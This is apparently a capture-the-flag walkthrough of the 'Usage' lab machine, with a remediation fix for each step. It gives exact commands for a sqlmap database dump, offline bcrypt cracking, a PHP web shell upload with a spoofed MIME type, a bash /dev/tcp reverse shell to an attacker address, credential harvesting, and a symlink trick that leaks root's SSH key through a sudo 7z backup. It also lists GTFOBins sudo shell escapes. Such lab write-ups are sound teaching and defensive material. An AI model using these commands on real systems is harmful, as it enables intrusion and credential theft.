← all walkthroughs

Usage

Linux· Easy· Web
owned
2026-07-08
time to own
12m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned usage ($TARGET) and identified an nginx-fronted Laravel blog on usage.htb with a separate administrator panel at admin.usage.htb. A SQL injection flaw in the unauthenticated password-reset form allowed me to dump the database, recovering the admin account's bcrypt password hash, which was cracked offline with a common wordlist to reveal the password '[REDACTED: recovered credential]'. Logging into the admin panel, I exploited an unrestricted file-upload feature to place a PHP web shell and achieve code execution as local user dash.

With a foothold established, I harvested plaintext credentials from the Laravel environment file and the Monit daemon configuration — including a password that had been reused as a second local account's SSH login. Lateral movement to user xander via SSH yielded a passwordless sudo rule granting root execution of a custom 7z-based backup utility. Because the web root was world-writable, I planted a symbolic link pointing at root's SSH private key; when the root-run backup archived the directory, 7z dereferenced the link and printed the key to standard output.

The reconstructed private key was used to authenticate directly as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery (T1046, T1590.005)
Mapped open services and discovered virtual hosts
A full TCP port scan of the target revealed two open services: SSH on port 22 (OpenSSH 8.9p1, Ubuntu) and HTTP on port 80 (nginx 1.18.0). Browsing to the IP triggered a redirect to the virtual host usage.htb, exposing a Laravel-based blog called Daily Blogs. A separate virtual host, admin.usage.htb, hosted a standalone administrator panel for the same application. Both hostnames were added to local DNS resolution so they could be reached by name.
Exact commands 3
Full TCP scan to identify all listening services.
nmap -Pn -p- --min-rate 2000 -T4 --open $TARGET
Register both virtual hosts for local resolution.
echo "$TARGET usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
Confirm the Laravel application and technology headers.
curl -sI http://usage.htb/
2ExploitationSQL injection — unauthenticated data exfiltration (CWE-89, T1190)
Dumped the admin password hash via SQL injection in the password-reset form
The /forget-password endpoint on usage.htb accepted a user-supplied email address that was passed unsanitised into a SQL query. Running sqlmap against the email parameter confirmed blind and error-based injection, then dumped the usage_blog database. The admin_users table contained a bcrypt-hashed password for the admin account, recovered with no authentication required.
Sqlmap recovered the admin_users table from usage_blog; bcrypt hash for the admin account extracted.
Exact commands 1
Inject via the email field and dump the administrator credentials table.
sqlmap -u 'http://usage.htb/forget-password' --data='email=test@test.com' --level=3 --risk=2 --batch --dbms=mysql -D usage_blog -T admin_users --dump
FixParameterise all database queries to eliminate SQL injection in the password-reset flowCritical
WeaknessThe forgot-password form passed the user-supplied email address directly into a SQL statement without sanitisation. An unauthorised user used sqlmap to dump the entire database, including admin password hashes, through a publicly reachable web form.
FixReplace every raw SQL string with Laravel's parameterised query bindings (e.g. DB::select('SELECT … WHERE email = ?', [$email])) or Eloquent ORM methods, which bind values automatically. Add server-side validation that rejects email values not matching a strict RFC 5321 format before they reach the query layer. Rate-limit the endpoint to five requests per IP per minute to slow automated injection tooling. Conduct a codebase-wide audit using a SAST tool to identify and fix all other locations that construct SQL from user-controlled input.
3Credential AccessOffline dictionary attack against bcrypt (T1110.002)
Cracked the admin bcrypt hash offline to recover the plaintext password
The recovered bcrypt hash was saved to a local file and submitted to John the Ripper with the rockyou.txt wordlist. The hash matched the entry '[REDACTED: recovered credential]', producing a valid plaintext credential. The password's presence in one of the most commonly used wordlists indicates it fell well short of a minimum complexity requirement.
John cracked the admin bcrypt hash to the password '[REDACTED: recovered credential]'.
Exact commands 2
Save the bcrypt hash recovered by sqlmap; replace the placeholder with the actual value.
echo '$2y$10$<paste_hash_here>' > admin.hash
Run the dictionary attack; expected result: admin:[REDACTED: recovered credential]
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hash && john --show admin.hash
FixRequire strong admin passwords and raise the bcrypt work factorHigh
WeaknessThe admin account password ('[REDACTED: recovered credential]') appeared verbatim in the rockyou.txt wordlist and was cracked in seconds once the bcrypt hash was obtained. Even though bcrypt is a strong algorithm, a guessable password negates its protection under offline attack.
FixEnforce a minimum password length of 16 characters with mixed character classes for all administrative accounts, and check new passwords against a breach corpus (NIST SP 800-63B recommends this approach). Raise Laravel's bcrypt work factor to at least 12 (the default is 10) in config/hashing.php to increase offline-cracking cost. Add multi-factor authentication to the admin panel (Laravel Fortify supports TOTP) so that a cracked password alone is insufficient for access.
4ExploitationUnrestricted file upload — PHP code execution, CVE-2023-24249 (T1505.003)
Uploaded a PHP web shell via the admin avatar feature and achieved remote code execution as dash
Authenticating to admin.usage.htb/admin/auth/login with the cracked credential (admin / [REDACTED: recovered credential]), I navigated to the profile settings page. The avatar-upload field applied no file-extension whitelist and performed no content inspection, accepting any file regardless of type. A single-line PHP web shell was uploaded with the filename usage_payload.php and a spoofed image MIME type. When the uploaded path was requested by URL, the server executed the shell as local user dash (uid=1000), yielding full remote code execution. A reverse shell gave me an interactive foothold.
Webshell confirmed at /var/www/html/project_admin/public/uploads/images/usage_payload.php; USAGE_RCE output: uid=1000(dash) gid=1000(dash) groups=1000(dash).
Exact commands 6
Log in and save the authenticated session cookie to cookies.txt.
curl -s -c cookies.txt -b cookies.txt -X POST 'http://admin.usage.htb/admin/auth/login' -d 'username=admin&password=$PASSWORD2'
Write a minimal PHP web shell locally.
echo '<?php system($_GET["c"]); ?>' > usage_payload.php
Upload the .php file via the avatar field, spoofing the MIME type to bypass weak checks.
curl -s -c cookies.txt -b cookies.txt -X POST 'http://admin.usage.htb/admin/auth/setting' -F 'avatar=@usage_payload.php;type=image/jpeg' -F '_method=PUT'
Confirm code execution — expect: uid=1000(dash).
curl -s 'http://admin.usage.htb/uploads/images/usage_payload.php?c=id'
Open a reverse-shell listener on my machine before the next step.
nc -lvnp 4444
Trigger an interactive reverse shell; replace $ATTACKER_IP with your machine's address.
curl -s "http://admin.usage.htb/uploads/images/usage_payload.php?c=bash+-c+%27bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261%27"
FixEnforce a strict file-type allowlist on uploads and block PHP execution in the upload directoryCritical
WeaknessThe admin-panel avatar-upload endpoint accepted any file extension and any MIME type. An unauthorised user uploaded a .php file that the web server executed as server-side code, producing remote code execution as the application user with no further obstacles.
FixValidate every upload against a whitelist of safe image extensions (.jpg, .png, .gif, .webp) and verify file content by inspecting magic bytes (PHP getimagesize() or the Intervention Image library), not just the client-supplied MIME type. Rename uploaded files to random UUIDs with the validated extension, stripping any embedded path separators. Add an nginx location block inside the uploads directory — location ~* \.php$ { deny all; } — to prevent PHP execution there regardless of what is uploaded. Store upload files outside the web root where feasible, serving them via a controller rather than directly.
5Post-ExploitationCredential discovery in plaintext configuration files (T1552.001)
Read the user flag and harvested plaintext credentials from configuration files
With an interactive shell as dash, my read the user flag and inspected readable files across the application tree. The Laravel environment file /var/www/html/project_admin/.env was readable by the dash user and stored the MySQL database password in plaintext (staff / [REDACTED: recovered credential]). The Monit process-monitor configuration /home/dash/.monitrc stored HTTP basic-auth credentials for the Monit web interface in plaintext (admin / [REDACTED: recovered credential]). Both files retained their default overly permissive ownership and mode, making them trivially readable by any process running as the web user.
/var/www/html/project_admin/.env: DB_USERNAME=staff, DB_PASSWORD=[REDACTED: recovered credential]; /home/dash/.monitrc: admin:[REDACTED: recovered credential]
Exact commands 3
Read the user flag — value is <user.txt>.
cat /home/dash/user.txt
Read the Laravel environment file; reveals DB_PASSWORD=[REDACTED: recovered credential]
cat /var/www/html/project_admin/.env
Read the Monit configuration; reveals admin:[REDACTED: recovered credential]
cat /home/dash/.monitrc
FixRemove plaintext credentials from world-readable application configuration filesHigh
WeaknessBoth the Laravel .env file and the Monit .monitrc stored passwords in plaintext and were readable by the web application user. Any code-execution foothold on the server immediately yielded multiple sets of reusable credentials at no additional cost to an unauthorised user.
FixLock the permissions on sensitive configuration files to the minimum owning account (chmod 600, owned by root or the dedicated service user — not the web process). For Laravel, inject secrets at runtime via a secrets manager (HashiCorp Vault, AWS Secrets Manager, or a CI/CD secrets store) rather than committing them to .env files on disk. Audit every configuration file on the server for embedded credentials and rotate any that were exposed during this incident.
6Lateral MovementCredential reuse enabling lateral movement (T1078, T1021.004)
Moved laterally to user xander by reusing the Monit password as an SSH login
The Monit admin password ([REDACTED: recovered credential]) was tested against local interactive user accounts visible in /etc/passwd. It was valid as xander's SSH password — the same secret had been set for an application service credential and an operating-system account. Once authenticated as xander, running sudo -l revealed a passwordless rule permitting execution of /usr/bin/usage_management as root, immediately identifying the privilege-escalation path.
SSH authentication accepted for xander@$TARGET with password [REDACTED: recovered credential]; sudo -l output: (root) NOPASSWD: /usr/bin/usage_management.
Exact commands 3
Authenticate with the Monit password [REDACTED: recovered credential] discovered in .monitrc.
ssh xander@$TARGET
List sudo permissions — reveals (root) NOPASSWD: /usr/bin/usage_management.
sudo -l
Confirm world-write on the web root (expected: drwxrwxrwx root:xander).
ls -ld /var/www/html
FixEnforce unique passwords for every account and disable password-based SSH authenticationHigh
WeaknessThe Monit web-interface password ([REDACTED: recovered credential]) was identical to xander's OS SSH login password. Recovering the credential from one configuration file immediately gave an unauthorised user an interactive shell on a second account that held a high-privilege sudo rule — with no further cracking or effort.
FixEstablish and enforce a policy requiring a different, randomly generated secret for every OS account, service account, and application credential. Deploy SSH with public-key authentication only (set PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config) to eliminate password-based SSH lateral movement entirely. Force a full credential rotation for all accounts on this host following the incident and store service credentials in a vault rather than configuration files.
7Privilege EscalationSymlink attack via world-writable directory and root-owned archiver — 7z GTFOBins (T1574.010)
Planted a symlink in the world-writable web root to leak root's SSH private key through the sudo 7z backup utility
The binary /usr/bin/usage_management wraps 7z to archive /var/www/html as root. Because /var/www/html carried world-write permissions, xander placed a symbolic link inside it named rootkey, pointing to /root/.ssh/id_rsa. Running usage_management via sudo caused 7z to follow the symlink and print the contents of root's OpenSSH private key in its standard output. I captured the output, filtered out the 7z log lines, reconstructed the base64 body between proper PEM delimiters, and validated the resulting key file with ssh-keygen. The technique mirrors the GTFOBins 7z file-read primitive applied to a sudo-permitted binary.
Key material extracted to /tmp/usage_7z_leak.txt; ssh-keygen -y validated the reconstructed file as a legitimate OpenSSH private key.
Exact commands 4
Plant a symlink inside the world-writable web root pointing at root's private key.
ln -s /root/.ssh/id_rsa /var/www/html/rootkey
Run the root-owned backup; 7z dereferences the symlink and prints key lines to stdout.
sudo /usr/bin/usage_management 2>&1 | tee /tmp/usage_7z_leak.txt
Extract base64 key lines from the 7z output, strip log noise, and write a valid PEM file.
{ echo '-----BEGIN OPENSSH PRIVATE KEY-----'; grep -E '^[A-Za-z0-9+/=]{20,}( : No more files)?$' /tmp/usage_7z_leak.txt | sed 's/ : No more files$//' | awk '!seen[$0]++'; echo '-----END OPENSSH PRIVATE KEY-----'; } > /tmp/usage_root_id_rsa.clean && chmod 600 /tmp/usage_root_id_rsa.clean
Validate the reassembled key — a successfully printed public key confirms the file is intact.
ssh-keygen -y -f /tmp/usage_root_id_rsa.clean
FixRemove world-write permission from the web root and harden the sudo-permitted backup utilityCritical
WeaknessThe web root /var/www/html was world-writable (drwxrwxrwx), and user xander held a passwordless sudo rule to run a 7z-based backup utility that archived that directory as root. Any local user could plant a symlink in the web root and have the root process dereference it, leaking arbitrary root-readable files — in this case the root SSH private key.
FixSet /var/www/html to mode 755, owned by the dedicated web application service account, with no world-write or group-write permission for unprivileged users. Either remove the sudo rule for usage_management or replace it with a hardened backup solution: run the backup as a non-root, dedicated backup account with read-only bind-mount access to the required directories; pass 7z's --no-follow-links option (or the equivalent P flag) to prevent symlink dereferencing; validate the source path list against a hardcoded allowlist inside the script; and log all invocations to a centralised, tamper-evident audit log.
8Full CompromiseSSH authentication with stolen private key (T1078.003, T1021.004)
Authenticated as root via the stolen SSH private key and captured the root flag
The reconstructed OpenSSH private key was used to log into the target directly as root over SSH, bypassing any password requirement. With an unrestricted root shell, my read the root flag from /root/root.txt, achieving full control of the host.
Root shell obtained; root.txt captured.
Exact commands 2
Log in as root using the exfiltrated and reconstructed private key.
ssh -i /tmp/usage_root_id_rsa.clean root@$TARGET
Read the root flag — value is <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp